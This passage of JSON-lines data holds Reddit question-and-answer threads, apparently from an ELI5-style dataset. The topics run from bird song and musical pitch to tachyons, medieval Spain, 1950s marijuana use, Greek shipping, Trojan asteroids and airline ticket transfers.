\n\nSecondly, our note scale system consists of 12 notes, with 7 basic notes; the C, D, E, F, G, A and B. Here's an example of the [C scale](_URL_3_). Notice how the highest note she plays is a C again. This means that the first note she played was the C4, and ended with the C5, meaning she has played all 7 notes and then played a higher C, an octave higher.\n\nThe human vocal range can be subcategorized in  6 categories, ranging form the very low bass to the very high soprano.\n\nSoprano: C4\u2013C6 (261 Hz - 1046 Hz)\n\nMezzo-soprano: A3\u2013A5 (130 Hz - 880 Hz)\n\nContralto: F3\u2013F5 (174 Hz - 698 Hz)\n\nTenor: C3\u2013C5 (130 Hz - 523 Hz)\n\nBaritone: G2\u2013G4 (97 Hz - 391 Hz)\n\nBass: E2\u2013E4 (82 Hz - 329 Hz)\n\nAs you can see, the soprano, which are the highest note a human can produce, are up until the frequency of the C6 with a frequency of 1046 Hz. Here's an example of a [soprano hitting the C6](_URL_4_).\n\nBut that's not all. Currently, the highest vocal notes produced by a human is the [D7 with a frequency of 4435 Hz](_URL_5_). That's more than 4 times (!!) higher than the soprano!!\n\nNow, birds usual sing notes between 3000 - 9000 Hz.(_URL_2_) \nThis means they are most definitely singing notes such as C8, F8, or even C9 within our musical scale, but they might be at a much higher frequency than the average human can sing. We can however transpose them to lower and sing them in relative pitch.\n\nSo to answer your question: yes, bird songs can be quantified as musical notes. Actually, they are well within the range typical human songs (30Hz - 21Hz, our hearing range). They are however too high for us to actually sing along with. So we transpose them down and [sing them in relative pitch](_URL_1_)(first 10 seconds).\n\nIf birds actually know their pitch and recognize / appreciate human music I would not know. Humans however have used bird melodies in songs before.\n\nEDIT: typos", "I'd be more surprised if bird songs -didn't- relate to some musical scale, human music isn't all diatonic scales in 12TET, there are thousands and thousands of different tuning systems. If you have two tones of different pitch you almost definitely have an interval of some kind, or something so close most of the human population isn't going to notice the difference", "There is a video on YouTube. I cant remember the name of the video but I'll look for it when I have time but basically older compositions by those during eras we consider classical actually often based their songs on bird songs. Its demonstrated in the video when a birds music is slowed and sounds exactly like a a piece by one of the classics. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.pnas.org/content/early/2014/10/29/1406023111", "http://www.smithsonianmag.com/science-nature/birds-songs-share-mathematical-hallmarks-human-music-180953227/?no-ist"], [], ["http://www.smithsonianmag.com/science-nature/birds-songs-share-mathematical-hallmarks-human-music-180953227/?no-ist"], ["http://www.phy.mtu.edu/~suits/notefreqs.html"], ["http://www.youtube.com/watch?v=kIkeIRQnCjo#t=33m10s", "http://www.youtube.com/watch?v=GbmUXhZlYHc"], ["http://en.wikipedia.org/wiki/Olivier_Messiaen#Birdsong"], ["http://psycnet.apa.org/psycinfo/1985-00463-001", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1334394/"], [], ["https://www.youtube.com/watch?v=qNf9nzvnd1k", "https://youtu.be/i3QTmnWoZNM", "http://www.birdsongs.it/birdvoc/birdvoc.asp", "https://youtu.be/g6RboQ89j-Q?t=9s&amp;end=20s", "https://youtu.be/l2dQKGAE8m4?t=16s&amp;end=0s", "https://youtu.be/Kdp4NHWr7G8?t=2m10s&amp;end=0s"], [], []]}
{"q_id": "l2hz9", "title": "Would a tachyon be able to escape from within the event horizon of a black hole?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/l2hz9/would_a_tachyon_be_able_to_escape_from_within_the/", "answers": {"a_id": ["c2p8qtw", "c2p8qv1", "c2p9ldf", "c2p8qtw", "c2p8qv1", "c2p9ldf"], "score": [20, 2, 11, 20, 2, 11], "text": ["Hard to say.  If they existed we'd probably have a better knowledge of the relevant physics.", "The standard line here on r/askscience is that there is no such thing as \"within the event horizon of a black hole\", so the question can't be answer, as such, because the situation couldn't exist in the first place.", "This is an exact copy/paste of my answer when someone asked the same thing about neutrinos:\n\nImpossible to answer. The same equations that describe black holes are what predict nothing can go faster than 'c.' So, if something can go faster than 'c' then black holes to not operate how we think.\n\nThat being said, assuming the same laws of physics governed black holes that we believed, but then they were wrong for these faster than light particles, well then the question would have to be modified a little. What do you mean by \"escape the black hole.\" Normally we consider the edge of the black hole to be the event horizon. The event horizon is the boundary between where a particle traveling at 'c' could escape a black hole and where it couldn't. So, a particle traveling faster than 'c' would have a smaller event horizon than a particle traveling at 'c'. All of that being said... since the black hole is actually a singularity, there exists a horizon at which these faster than light particles would also be trapped by the gravitational pull. (Of course, if particles can travel faster than 'c' then maybe black holes aren't singularities either....)", "Hard to say.  If they existed we'd probably have a better knowledge of the relevant physics.", "The standard line here on r/askscience is that there is no such thing as \"within the event horizon of a black hole\", so the question can't be answer, as such, because the situation couldn't exist in the first place.", "This is an exact copy/paste of my answer when someone asked the same thing about neutrinos:\n\nImpossible to answer. The same equations that describe black holes are what predict nothing can go faster than 'c.' So, if something can go faster than 'c' then black holes to not operate how we think.\n\nThat being said, assuming the same laws of physics governed black holes that we believed, but then they were wrong for these faster than light particles, well then the question would have to be modified a little. What do you mean by \"escape the black hole.\" Normally we consider the edge of the black hole to be the event horizon. The event horizon is the boundary between where a particle traveling at 'c' could escape a black hole and where it couldn't. So, a particle traveling faster than 'c' would have a smaller event horizon than a particle traveling at 'c'. All of that being said... since the black hole is actually a singularity, there exists a horizon at which these faster than light particles would also be trapped by the gravitational pull. (Of course, if particles can travel faster than 'c' then maybe black holes aren't singularities either....)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "5y0643", "title": "\"The Myth of the Andalusian Paradise: Muslims, Christians, and Jews under Islamic Rule in Medieval Spain\" by Dario Fernandez Morera", "selftext": "I could not find any \"mainstream\" reviews of this book. Is it revisionist history or can it contribute to a better understanding of Muslim Spain?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5y0643/the_myth_of_the_andalusian_paradise_muslims/", "answers": {"a_id": ["denelai"], "score": [7], "text": ["I found 2 academic reviews on ProQuest.\n\nLaina Farhat-Holzman, author of one of the reviews on ProQuest largely buys into Fernandez's view, and praises the work as readable, well documented and somewhat cheeky: \"For me, the fun of reading this book is that each chapter begins with quotations from the  most famous scholars of Islam, professors from some of our most famous universities, who provide a Panglossian picture of this Andalusian Paradise.  Fernandez-Morera quotes them at length, and then proceeds to provide reality backed by impressive documentation.\" but I'd question her expertise on the matter, since in that same review she claims that all of Spain except for \"the Basque north\" was conquered.\n\nJulia Pav\u00f3n Benito, form the University of Navarra also praises the book, branding it as a much needed and legitimate revision of a perpetuated falsehood.\n\nI haven't read the book, but from the reviews it sounds like the author presents a nuanced view of the conquest, while highlighting misinterpretations that have been perpetuated. If that is really the case, then I'd even question the revisionist nature (not necessarily a bad term) of the work, since that stance has been commonly held in mainstream Spanish-speaking scholarship for quite some time.\n\nFinally, the author has good personal credentials: Harvard PhD and Northwestern University professor, so I'd go ahead and read it if I were you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "53lm8h", "title": "Was it common for an American high school student in the 50s to have known about, or even smoked marijuana?", "selftext": "Nearly all high school have at least heard about marijuana and most have probably tried it. Was wondering if was the same in the 50s.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/53lm8h/was_it_common_for_an_american_high_school_student/", "answers": {"a_id": ["d7uftfe", "d7v3tt0", "d7v4ar3"], "score": [126, 25, 137], "text": ["Also a followup question if i may: how frowned upon was it as compared to now or the hippie era?", "I know of one survey that might help answer this question, and it's a *retrospective* one.  The National Household Surveys on Drug Abuse (which is a massive, ongoing survey that started in 1979) asks people when they first used various drugs, first drank, first smoked etc - and there are a couple of scholars who have analyzed the NHSDA data to get an estimate of historical drug use rates at different ages.  \n\n[This](_URL_2_) study breaks it down in a table (on page 29).  The numbers are low: for people who were high-school aged in the late 40s/early 50s only 1% or so reported having consumed marijuana by age 15, and only 2% reported having done so by age 21.  For people who were high school aged in the late 50s/early 60s, the numbers jump a bit: still only 1% reported having smoked pot by age 15, but 6% reported having done so by age 21.\n\nA quick look at some other sources suggests that other people's analyses of the NHSDA surveys have yielded similar results. [This](_URL_3_) book, for example, suggests that the number of ''regular'' marijuana users below age 21 was extremely low until the late 1950s.  See [this table](_URL_1_) and [this one](_URL_0_).\n\nIn general, though, I would take this data with a grain of salt - people's memories are fallible and it's entirely possible that some people (especially those born in the 30s/40s) would under-state or not report marijuana use.  Since this isn't something that was easily measured or tracked (particularly during the 1950s, when marijuana use was far more stigmatized than it is today), though, I'm skeptical that there are any other/better ways out there of getting an estimate.  We could try looking at arrests or other crime reports, but that might tell us a lot more about enforcement than it does about actual usage.  \n\nIn looking at congressional documents (which I at first thought might help answer your question), all I found was instances of experts wringing their hands over how it is \"almost impossible to come up with a figure that would mean anything\" for marijuana usage. This confusion lasts well into the 60s: the President's Advisory Commission on Narcotic and Drug Abuse (1963) lamented \"existing information on drug abuse is pitifully inadequate. No one knows exactly how many drug abusers there really are in the United States,\" and the President's Commission on Law Enforcement (1967) stated categorically that \"there is no reliable estimate of the prevalence of marijuana use.\" But both of those reports did suggest that anecdotally, and based on the number of drug arrests/charges, usage was on the rise during the early 60s (which is almost certainly accurate, and also why congressional committees were suddenly so interested in the subject at that time).\n\n**EDIT:** This focuses on college rather than high school students, but [here](_URL_4_) is an interesting source from 1967, in which Stanley Yolles (director of the National Institute of Mental Health) tells a congressional committee that:\n > Surveys of high school and college drug use indicate that approximately\n20 percent of the college students questioned reported some experience with\nmarihuana. It is estimated that about two million high school and college\nstudents have had some experience with marihuana. Generally more men\nstudents reported involvement. Of those who reported having ever used\nmarihuana, 65 percent had used it less than ten times with \"once or twice\"\nthe commonest response.\n\nYes, the entire report really does spell it \"marihuana!\" But that's in 1967, and we know that usage rates started climbing in the 60s, especially among college aged youth - so I don't think that necessarily disproves the lower, narrower estimates (for high school-age youth only) discussed above.  Yolles appears to have got the 20% figure from the Gallup Poll, which first starting asking *college* students about drug use in 1967 - so take that (self-reported) figure with a bit of salt too.", "**Yes, it would have been common for a hypothetical student anywhere in the United States to have known about cannabis. No, it would not have been common for them to have used it.**\n\nSeveral commenters have offered parts of a comprehensive answer in this thread, but they've been removed by other moderators because they didn't encompass an entire answer, didn't offer good, clear citations (YouTube does not count), were too short, or for other factors. Please do not share firsthand accounts, because we have no way to know you are who you say you are. \n\nIn any event, as /u/Enlightenment777 pointed out, \"This type of question is too broad, because every community is different in the USA. Rural folk were exposed to terms in different ways than big city folk.\"\n\nRural juveniles, particularly white ones, would not have had easy access to marijuana, even if they had an interest in trying it. Marijuana use was largely (there are always some exceptions) confined to urban centers, particularly port cities or locations along the Mexican border. In the 1950s, narcotics use was seen (likely correctly) as a problem affecting predominantly non-white Americans. In the April 11, 1950 issue of the *New York Times*, [Garland Williams of the Federal Narcotics Bureau and the New York Police Department declared](_URL_2_) that \"addiction had risen about 10 per cent (since the end of WWII), with virtually all of the increase among teenagers in the Bronx.\"\n\nA year later, *Times* [reporter Charles Grutzner wrote](_URL_1_), \"The most dangerous form of juvenile delinquency \u2500 addiction to heroin and marijuana \u2500 has spread among New York's teen-agers to an extent that has frightened public officials, social and civic workers and parents.\"\n\nThe story quoted no formal statistics, however, and concluded that \"Others ... believe that the situation, while deadly serious, has been numerically exaggerated.\" Later in 1951, [NYC's superintendent of schools reported finding 154 cases of narcotics addiction in NYC schools](_URL_5_), but he believed that when it came to users, there were were really about 1,500 cases \u2500 1 in 200 high school students.\n\nBy modern standards, that's an extraordinarily small number, even if you use the superintendent's (likely inflated) figure. As /u/SecretAgentIceBat pointed out, \"In my area, the DFW metroplex of Texas, [only 38.2% of all 12th graders reported ever having consumed marijuana](_URL_3_).\"\n\nAnd high schoolers in New York City were likely to have better access to marijuana than most students. They lived in a port city with large numbers of immigrants, precisely the mix that we know from David Musto's *The American Disease: Origins of Narcotic Control* made up the seed-bed for large-scale narcotics use.\n\nSo, while we can conclude that **use** was low, what about knowledge? \n\nThat's a different story.\n\nStarting in 1914, with the Harrison Narcotics Act, the United States began taking a hard line toward all narcotics and began considering addiction a *crime,* rather than a medical condition. In the 1930s, cannabis was effectively made illegal through the Marihuana Tax Act (of 1937), which required cannabis sales to have an extraordinarily expensive tax stamp that the federal government almost never issued. State laws backstopped that federal regulation, banning the cannabis trade almost entirely across the country at the state level.\n\nAs /u/Zulawski points out, the films *Reefer Madness*, *Marihuana* and *The Assassin of Youth* all date from this period and were intended to scare youths away from the use of cannabis. The attitudes that created these films did not die out by the 1950s; indeed, the federal government, state governments and various non-governmental organizations (including church groups) conducted strong anti-cannabis campaigns through the 1940s and 1950s. If you're a believer in the Streisand Effect, these campaigns might have spread knowledge of cannabis to youths who otherwise wouldn't have been aware of it.\n\nEven without those anti-cannabis campaigns, cannabis was rapidly becoming a factor in the \"alt\" lifestyle, as Watson's *The Birth of the Beat Generation* mentions. William Burroughs and Joan Vollmer moved to Texas to raise vegetables and cannabis in 1947; Herbert Huncke joined them there. Books like *On the Road* (published in 1957, but inspired by a trip a decade earlier) made cannabis appear rebellious and attractive. That inspired some youths, and they in turn inspired others. By 1966, [the *Times* was declaring that \"Drugs (are) a growing campus problem\"](_URL_4_) with over half of high school students in Berkeley experimenting with marijuana or heroin.\n\n***\nEdit: If you'd like to look at some raw data (and I mean REALLY raw), I've scanned the daily police department logs for Juneau, Alaska between 1953 and 1955, and you can see them here: _URL_0_ \n\n~~I'll Paypal $5 to the first person who finds a reference to cannabis or marijuana in there. (Send me a PM.) I haven't found one, but it might be there.~~\n\nFound on DSC_2858.JPG by /u/jparonson!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.imgur.com/h7GiIT3.png", "http://i.imgur.com/ttq0BbG.png", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1508375/", "https://books.google.ca/books?id=fwRF5tFand8C&amp;printsec=frontcover#v=onepage&amp;q&amp;f=false", "http://files.eric.ed.gov/fulltext/ED024967.pdf"], ["https://www.dropbox.com/sh/o4cgqk31bxrfjpa/AACVePhbzdwx-eOcH8lyup2Ra?dl=0", "http://query.nytimes.com/mem/archive-free/pdf?res=9807E1DA1531E23BBC4C52DFB466838A649EDE", "http://query.nytimes.com/mem/archive-free/pdf?res=9C06E1DF1338E532A25752C1A9629C946192D6CF", "http://dallascouncil.org/wp-content/uploads/2016/01/RNA-2015_Dec9PDF.pdf", "http://query.nytimes.com/mem/archive/pdf?res=9803E6DD1E30EF34BC4951DFB566838D679EDE", "http://query.nytimes.com/mem/archive-free/pdf?res=9B0CE3DF103AEE3ABC4B52DFB066838A649EDE"]]}
{"q_id": "26lpm1", "title": "\"greece controls 16.2% of the word's total merchant fleet(2010)\" this sounds important for just one country!how the hll did greece fail economically while having this?", "selftext": "For a country as small as Greece having almost 1/6 of the world's merchant fleet this sounds big?Isn't it big?  \nShouldn't they be making money by this?  \nExplain please.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26lpm1/eli5greece_controls_162_of_the_words_total/", "answers": {"a_id": ["chs6wd4", "chs84f5", "chsfqm4"], "score": [7, 2, 2], "text": ["To say that Greece failed economically is erroneous. A lot of governments and institutions invested in Greece and those investments did not pay off thanks to the mortgage crash in 2008, leaving the Greek government with zero capital to properly fund its social services. Private businesses like shipping still continued to function. ", "The reason a lot of companies register their freighters in Greece is because it's cheap and/or the laws are lax. So even though the merchant fleet is big, Greece's government isn't benefiting a lot from it.", "Read up about [flags of convenience](_URL_0_), i.e., the practice of registering a ship in a country different than that of its owners. Check this [list](_URL_2_) of flags of convenience and you'll see that Greece is actually a pretty common source of such registrations. It's the leading registrant in several countries and a major one in half a dozen others. \n\nThe use of flags of convenience is done for a variety of reasons, but one of the major ones is tax avoidance. It can be quite difficult for national authorities to get shipping companies to pay taxes on revenues generated by ships flagged in other countries. The fact that we're talking about Greece only compounds the problem; the Greek government can't get individual citizens to pay their damn taxes, so getting complex business organizations to do it is just a joke.\n\nAs to how their economy is doing so badly despite the presence of such a large merchant fleet (regardless of where flagged), [shipping does make a major contribution](_URL_1_). Something like 7% of Greece's GDP as recently as a few years ago. And that's not tax revenue mind you, it's contribution to GDP, which far better captures the size of the actual industry. The fact of the matter is that shipping is a tiny fraction of the world economy, and even concentrating a significant chunk of it in Greece isn't enough to run the entire economy.\n\nThis makes sense when you think about it. It's the goods that are shipped where the real value and profit lies, not in the shipping itself. The only time we expect shipping costs to even approach the cost of the goods themselves is when the goods in question are cheap. But large-scale shipping operators can only expect to capture a tiny fraction of the value of the goods they ship in terms of pricing. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Flag_of_convenience", "http://www.grreporter.info/en/shipping_remains_source_income_greek_economy/10117", "http://en.wikipedia.org/wiki/List_of_flags_of_convenience"]]}
{"q_id": "46w7qa", "title": "Why haven't the Trojan asteroids coalesced?", "selftext": "From what I understand of [Legrangian](_URL_0_) points, the L4 and L5 positions are gravitationally almost flat (although they are still maxima in the potential field). Given the weak destabilizing vectors in this area and the overall mass of the [Trojans](_URL_1_), why hasn't the mutual gravity of the Trojan's pulled them into larger ~~masses~~ bodies?\n\nIs it that the L4/L5s are still technically at gravitational peaks and thus the instability, while slight, is still stronger than the mutual attraction of the Trojans? Am I missing something here?\n\nedited for clarity", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/46w7qa/why_havent_the_trojan_asteroids_coalesced/", "answers": {"a_id": ["d08afrz", "d08gthq", "d092r72"], "score": [28, 58, 3], "text": ["The mutual attraction of objects near the Lagrangian points is, as you say, very low. I would guess that in systems like ours, the tidal forces produced by large gas giants would overcome the attractive forces of gravity. This effect is why the asteroid belt between Mars and Jupiter hasn't coalesced. It would be interesting to compare the attractive forces in the asteroid belt to your Trojan regions- did you have a particular body in mind?", "the L4 and L5 points are not statically stable, in that sitting at the precise location of the points would hold you there. Rather, they are *dynamically* stable, in that it is possible to be in a (somewhat weirdly shaped) orbit around them.\n\nHence, everything \"at\" L4 and L5 is really orbiting around those points, and will not just form a blob at the centre. Some coalescence between these objects can be expected, but by and large, they should form something more akin to a bean-shaped shell around the points.", "I found this image: _URL_0_"]}, "title_urls": [], "selftext_urls": ["https://upload.wikimedia.org/wikipedia/commons/5/5f/Lagrangian_points_equipotential.jpg", "https://en.wikipedia.org/wiki/Trojan_%28astronomy%29"], "answers_urls": [[], [], ["http://i.imgur.com/sNjvexE.gif"]]}
{"q_id": "52hry0", "title": "how can an airline justify me not being able to update a plane ticket to someone else's name? it's paid for, who cares who uses it as long as they're notified?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/52hry0/eli5_how_can_an_airline_justify_me_not_being_able/", "answers": {"a_id": ["d7kdpqc", "d7kdt2i", "d7kdvz4", "d7kdwgo", "d7kesok", "d7kewo6", "d7kkfhq", "d7ko08q", "d7ko6a3", "d7kobq0", "d7koy1d", "d7kpj6o", "d7kpw5i", "d7kqu00", "d7krjsi", "d7kru84", "d7ksnk4", "d7kstq6", "d7kstx7", "d7kt1lt", "d7ktmmm", "d7ktzbs", "d7ku3zy", "d7kunwd", "d7kup97", "d7kupez", "d7kuq8n", "d7kvs85", "d7kw4j2", "d7kwjqt", "d7kx6sz", "d7kyfeu", "d7kz0vb", "d7l07w6"], "score": [21, 3315, 30, 147, 6, 2, 2, 2, 17, 2, 6, 10, 6, 2, 73, 10, 2, 2, 3, 5, 2, 5, 16, 3, 2, 2, 2, 2, 2, 2, 5, 2, 2, 4], "text": ["Control, data, and admin stuff are sorta intertwined.\n\n & nbsp;\n\nAirlines want to control how consumers purchase their products because they want consistent data between the purchaser and the user. Commercial flying is extremely competitive, and so they mine every record they get to edge out their competitors. If you give your seat away, their data isn't as valuable and they might not be as profitable. Also, airlines want to know who is on their planes. When you shop for plane tickets, the airline knows stuff about you and can even decide not to sell you their products (e.g., if you've been banned).\n\n & nbsp;\n\nAnother simple reason is that the airline wouldn't really benefit from this practice, so why do it?", "\"Updating\" a ticket to someone else's name is not really \"updating\" -- you are trying to transfer your ticket to someone else. Some tickets are non-transferable and non-refundable. Others can be transferred to another person, if you pay a fee. Changing the name due to a spelling error or even a name change is usually allowed, as long as it's the same person.\n\nWhy do they sell non-transferable tickets, and why are they so picky about charging fees for transferable tickets? For one thing it helps them control reselling of tickets. If it was as easy as you'd like it to be, you could potentially scalp airline tickets the same way people scalp concert tickets.\n\nAlso the airline makes more money if they force you to buy a new ticket for someone else if your original ticket is non-transferable.", "Airline tickets tend to be cheaper further out and get more expensive as you get closer to the travel date. This policy stops scalpers from buying all available tickets for a flight when they're at their cheapest, and then reselling them to make a profit.", "Their *rationalisation* for charging an administration fee would be because they have to maintain an accurate passenger list for safety and security reasons and they don't want people to change their flight plans trivially. For example, they don't want ticket scalpers buying up cheap promotional seats early then reselling at a profit.  ", "There are a lot of post hoc justifications in this thread but the true answer is that the airlines have to compete on price. So, they strip off everything that could be construed as an \"extra\" and sell it back to you. ", "They do it for the same reason a dog licks his genitalia: because he can. There are three possible outcomes:\n\n1. You pay extra to change the name. Airline makes extra money.\n2. You throw the ticket away. When you don't show up for boarding, the airline sells your seat to a standby and makes extra money.\n3. You figure out a way to use the ticket yourself. Airline doesn't lose anything.", "This explains it in the most simple terms possible.\n\n_URL_0_", "In the old days this was a lot easier, before people started trying to blow planes and shit up on a grand scale. In the current reality, most of us traveling are quite happy that tickets are not easily transferred and that there is a degree of oversight. It gives us the illusion of security anyway. ", "Someone could buy all tickets on a popular route, sell them to others at a premium by \"updating their name\" onto it.", "Because they have no competition. \n\n\"Don't like our policy? Take a bus.\"", "Charging a fee prevents a ticket reselling market; however, fees are also [fundamentally] a part of their business model.\n\nImagine airline A sells a round trip ticket from NYC to CHI for $300.  So, if that flight takes place smoothly and costs the airline $280 to fly someone, on that sale they've made just $20 in profit, plus a potential return customer. \n\nNow imagine that some portion of tickets that are sold will need to be changed or canceled for one reason or another.  Aside from some administrative costs [staffing customer service call lines, returning credit card fees, sales bonuses paid on flight sales to outside vendors, and especially [opportunity costs](_URL_0_) of the airline reserving your seat - which could potentially have been sold to another flyer had you not taken your flight; so they charge $100 change fee and hope to resell that ticket for whatever the market will bear. \n\nAirlines also budget that some percentage of flyers will change, upgrade, add checked luggage, board slightly earlier, or other luxury in order to offer discount air fare that may not reflect the total price you intended to pay for your trip [especially picture paying to check your first bag. who flies with nothing 100% of the time? A. very few]. \n\nIf they didn't charge for missed flights/late/any changes, they would possibly have unused seat capacity [flight overselling aside for eli5 sake], - capacity for which they might had not otherwise budgeted, and may not otherwise be 1. compensated if you both cancel and 2. opt out of potential upgrade fees on your ticket reservation and in flight/gate sales.   \n\nRegarding last minute cancellations, for people who can conjure a legitimate sounding reason at the gate near their flight departure time, the airline will often reseat them on the next plane without charge - especially if you act more mad than remorseful [*sad*, but sometimes true], and if there is another flight, and if it has actual open seats.\n\nedited for clarity and eli5 format [i.e. no uncommon vocabulary, or jargon]", "Airline sales employee here. At today's prices if airlines sold tickets and 100% of passengers showed up on time and no one would ever try to change tickets, pretty much every airline would be bankrupt. Profit margins from ticket sales are extremely slim. Most airlines struggle with losses and rely on passengers loosing flights, changing tickets and buying new tickets in order to get a profit.", "Tickets are non transferrable, you passed the instant background check, not your terrorist friend you are giving the ticket to.", "This is why I like having an Avion card, I get free ticket cancellations, and could just book another ticket with the correct name.\n\n", "It's to stop people buying up cheap fares in advance and then selling the tickets on at a profit - as they already do with concert tickets. Airlines want to sell the ticket to the person travelling so:\n\n\n- the passenger who books early is happy that they got a good deal and will book with them again.\n\n\n- the passenger who books last minute pays a really high fare.\n\n\nPeople scalping airline tickets would deprive the airline of these benefits. On top of this, people unofficially reselling airline tickets could lead to problems like the reseller not giving the passenger proper information about travel or the conditions of the ticket. That's why official travel agents are regulated. \n\n\nThe person who honestly changes their mind and wants to give the ticket to a friend isn't going to hurt the airline but they have to enforce it across the board for it to work.", "Well it helps to prevent re-sellers blocking multiple tickets and later selling tickets at exorbitant prices !! imagine some agent booking all the flights during Christmas break with random name and than starts selling the tickets at exorbitant prices by just changing the names and making a huge profit !!\n\n", "Because airlines overuse market segmentation. They can use any justification as a cover story.", "Many things are leftovers. In the olden days tickets had to be printed so a name change would require actual work: reprint in the travel agent, inform the airline, etc. So we were used to paying for it and therefore they still have a reference point for charging for it.\n\nToday I would say that it is to maintain control over the distribution of tickets for business and security reasons.", " > ELI5: how can an airline justify me not being able to update a plane ticket to someone else's name? It's paid for, who cares who uses it as long as they're notified?\n\nAirlines overbook planes. They know that out of 100 people 15 will not turn up. In the event that they do 15 people will be bumped up to the next better class.  This way they can sell tickets at a cheaper price and be more competitive.\n\nP.s. This was the practise well before 9/11 happened.", "I don't think there is a good justification for now allowing changes a reasonable time in advance (say up to 48 hours in advance). They probably make claims about extra admin costs and difficulties with security but, these costs are in reality small and there should no difficulty screening passengers 48 hours in advance so, these are just excuses.\n\nThe reason is that they can charge more by making you buy a new ticket or pay a fees to transfer it or, make more selling transferable tickets and, so that they can prevent people buying tickets and reselling them, allowing them to control the market to charge more to some people who will pay it while still selling to those that won't (price discrimination, a way for monopoly or oligopoly producers to capture more profit in a market without perfect competition). ", "Feel your pain. Best friend moved to Mexico. My wife tried to surprise me and buy him a ticket to come visit for the summer. He ends up having heart trouble and came come. So I thought maybe with 2 months before the flight I may be able to change it to me going to see him. Nope, just out $800.00. ", "Another question I have is: if I bought a round trip ticket but miss my outbound flight and end up buying another one way to meet my schedule, why do I need to pay a 200 dollar change fee to use my returning ticket back home? Again the ticket is already bought and paid for, I  am not changing flights and there is literally zero additional  inconvenience to them. I get that the missed flight portion is non refundable but fuck, paying additional money for a flight I already paid for.", "Haven't seen the correct answer yet, so here it is:\n\nPost 9/11 legislation, specifically Federal Code of Regulations Title 49.", "I flew to Africa to adopt my son years ago... I found out they'd misspelled my name so I tried to get it corrected. They changed it but that completely fucked my trip. Their computer systems are interlinked around the world, and many of them are extremely old. So, to get the update to work they have to cancel the flight, and reissue the ticket. When they did that, that put me at the bottom of the list for boarding, so when we got to the plane and it was overbooked, I got bumped. Our congressman had to get involved to get us on the plane. Then, once we got to Europe, because the ticket had been reissued in the way it was, they lost our luggage... it was a nightmare. \n\nHow can Airlines justify all this? Their computer systems are antiquated disasters left over from the 1970s. US airlines are broke due to decades of mismanagement but remain in business due to multiple federal bailouts. Many do not realize that the airline industry was almost bankrupt prior to 9/11 and they effectively used the attack as leverage to get a federal funds to prop them up. ", "I flew under someone else's name in the EU once. As I had no check in luggage nobody really seemed to notice. They even heckled IDs upon boarding but didn't verify names against a roster. I wasn't sure if it wasn't allowed but I didn't see that it was being controlled at all", "Think of it this way, you purchase all 347 tickets at a huge discount like a promotion or something, YOU then sell all the tickets, let's say on EBay, craigslist or what ever at a price hike, and then \"changed\" the names....", "It's non-transferrable but is it refundable? ", "Aviation attorney here...when you purchase the tickets you are engaging in a contract.  You can't change performance on a contract from one party to an unrelated party to the contract...there's no consideration (one of the essential elements to contract formation).  ", "Helps prevent ticket scalping.\n\nAlso they have to reprocess the ticket. Some people are on no-fly lists.", "The airlines price-gouge the American people every day, and then petition Congress to not allow any competitors. The price of fuel has been decreasing for over a year, yet the price of a ticket is continually increasing while slashing quality customer service at every turn. America needs to seriously BOYCOTT the airlines for at least a month - make them cut their ridiculous prices in half. And I'm sure before they did that, they would just fire half of their workforce. GREEDY GREEDY bastages.", "I would like to point out to all you young'uns that pre-Internet you could do this easily. Tickets were physical things printed with all sorts of confusing numbers and text. They were mailed to you if you purchased them over the phone, or you could go to a travel agent, or buy them at the airport. Airlines would also often have offices in major downtown areas so secretaries could pick up tickets for business flyers. I remember needing to get a ticket changed, and driving to a Beverly Hills hotel that had a United desk. \n\nIn those days, the ticket itself was permission to board, so ID was not required. In pre-9/11 days, anyone could go to the boarding area of a plane to see someone off or greet an arriving passenger, unless a customs screening was required. Well, except at very busy airports, like La Guardia. \n\nBecause of all this, ticket sales in newspapers were common. If you cancelled a trip, you would try to sell the ticket in a newspaper, especially those free weeklies like the Reader. \n\nAlso, Ticketmaster and the now-defunct Ticketron were the only ways to get tickets to performances besides going to the box office of the venue or buying them by mail. You could possibly do the phone purchase for major concerts, but usually young people would line up outside record stores, because they had Ticketron computers, because the phone lines would quickly go to busy. Older people, like my mother, would go to the Ticketmaster desk at Sears to get things like circus tickets. \n\nNow get off my lawn!", "As a shorter answer, they do it so third party companies don't buy out popular flights and then resell for twice the price. Trust me, you'd be livid.", "I work at a small Airlines, that biggest reason is we don't want to give your money back. We'd rather have a space free on the plane and use your weight for something else. ", "Because transferable tickets would lead to people being on planes who shouldn't be, like serial killers, terrorists and poor people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.youtube.com/watch?v=fKBRtdp2e98"], [], [], [], ["https://en.wikipedia.org/wiki/Opportunity_cost"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
